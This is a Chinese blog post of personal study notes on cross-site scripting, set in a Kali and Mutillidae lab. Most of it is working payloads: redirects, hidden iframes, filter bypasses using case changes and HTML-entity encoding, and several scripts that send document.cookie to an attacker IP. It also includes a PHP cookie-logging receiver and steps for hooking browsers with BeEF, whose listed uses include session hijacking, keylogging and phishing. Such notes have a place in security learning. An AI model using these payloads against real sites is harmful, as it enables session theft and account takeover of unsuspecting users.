XSS学习笔记--longge

1.xss简介

	XSS跨站脚本攻击(Cross Site Scripting),是将Java script代码插入web页面中,之后当用户浏览页面时, 会执行嵌套在web页面里面的Java script代码,从而达到攻击用户的目的。为了跟HTML里面的层叠样式表(CSS ,Cascading Style Sheets)作区分,所以叫作XSS.

最简单的xss脚本攻击

<script>alert( 'Hello, world!' )</script>
XSS攻击的危害包括:
盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其他网站发起攻击

2.原理解析

3.构造XSS脚本

  • 3.1 HTML标签
<iframe>    		iframe元素会创建包含另外一个文档的内联框架(即行内框架)。

<textarea>			<textarea>标签定义多行的文本输入控件

<img>				img 元素向网页中嵌入一幅图像

<script>			<script>标签用于定义客户端脚本,比如 Javascript
					script 元素既可以包含脚本语句,也可以通过 src 属性指向外部本文件。
					必需的 type 属性规定脚本的 NINE 类型。
					javascript 的常见应用时图像操作、表单验证以及动态内容更新
  • 3.2 常用JavaScript方法
alert				alert()方法用于显示带有一条指定消息和个确认按钮的警告框
window. location	window. location对象用于获得当前页面的地址(URL),井把浏览器重定向到新的页面。
location.href		location.href返回当前显示的文档的完整URL
onload				一张页面或一幅图像完成加载
onsubmit			确认按钮被点击
onerror				在加载文档或图像时发生错误
  • 3.3构造xss脚本
弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞试中的单引号',一旦此脚本能执行,也就意
味着后端服务器没有对特殊字符做过滤<>/'	这样就可以证明,这个页面位置存在了XS漏洞。
<script>alert(xss)</script>
<script>alert(document.cookie)</script>

页面嵌套
<iframe src=http://www.baidu.com width=300 height-300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script>
<script>alert(xss);location.href=http://x.x.x.x/mutillidae/robots.txt"</script>
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击井且相信了这个信
息,则可能在另外的站点重新登录账户(克隆网站收集账户)

访冋恶意代码
<script> src="http://192.168.2.100/xss.js"></script>
<script> src="http://192.168.2.100:3000/hook.js"></script>	#结合BeEF收集用户的cookie
<script> scr="http://192.168.2.100:3000/hook.js"></script>
巧用图片标签
<img src="#" οnerrοr=alert(xss)>
<img src="javascript:alert(xss);">
<img src=http://192.168.2.100:3000/hook.js"></img>

绕开过滤的脚本
大小写<ScrIpt>alert('xss')</SCRipt>
字符编码采用URL、Base64等编码
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">longge</a> 

收集用户cookie
打开新窗口并且采用本地cookie访问目标网页
<script>window.open("http://192.168.2.100/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://192.168.2.100/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="192.168.2.100/cookie.php?cookie.php?cookie="+document.cookie;</script>
<img src="http://192.168.2.100/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://192.168.2.100/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://192.168.2.100/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>

4反射型XSS

  • 手工xss
    用户访问网页中的XSS链接,服务器接受并返回,用户执行反射回来的代码并解析执行。

5.存储型XSS
存储型XSS(持久型XSS)即攻击者将有XSS攻击的链接放在网页的某个页面,例如评论框等;
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访可此页面的用户,所以危害非常大。

  • 5.1手工(低)
    攻击1 弹框告警:渗透机 kali Linux端操作
    text1

    攻击2 获取 cookie:渗透机 Kali Linux端操作
    1.构建收集 cookie服务器
    2.构造XSS代码并植入到Web服务器
    3.等待肉鸡触发XSS代码并将 cookie发送到kali
    4. Cookie利用

     步骤一:打开kali并启动Apache2服务
     root@kali: w# vim /var/www/html/cookie_rec.php
    
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
 ?> 
	步骤二:给予相应的权限
	rootekali: chown  -R www-data.www-data  /var/www/
	<script>window.open('http://192.168.2.100/cookie_rec.php?cookie='+document.cookie)</script>
	注:192.168.2.100为Kali Linux IP
	注:先清除之前注入的XSS代码

6.自动化XSS

BeEF简介 Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
http://beefproject.com/

  1. 信息收集:

    网络发现
    主机信息
    cookie获取
    会话劫持
    键盘记录
    插件信息
    
  2. 持久化控制:

    确认弹框
    小窗口
    中间人
    
  3. 社会工程

    点击劫持
    弹窗告警
    虚假页面
    钓鱼页面
    
  4. 渗透攻击:

    内网渗透
    Metasploit
    CSRF攻击
    DDOS攻击
    
  • BeEF基础

     先清除之前注入的XSS代码
     启动Apache和BeEF:
     root@kali:~# systemctl start beef-xss
    

    在这里插入图片描述

    只用把红框中的信息放入到XSS中即可
    进入网页:默认账户密码都是beef,第一次在打开的时候要先设置密码,默认账户是beef
    修改密码路径
    root@kali:~# vi /etc/beef-xss/config.yaml
    在这里插入图片描述
    输入账户密码进入到主页面:
    在这里插入图片描述

在XSS端输入:

<script src="http://192.168.2.100:3000/hook.js"></script>

在这里插入图片描述在这里插入图片描述

保存之后,beef端就收集到数据了
命令颜色(color):
绿色:对目标主机生效并且不可见(不会被发现)
橙色:对目标主机生效但可能可见(可能被发现)
灰色:对目标主机未必生效(可验证下)
红色:对目标主机不生效
在这里插入图片描述
进而使用命令对网站进行攻击。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值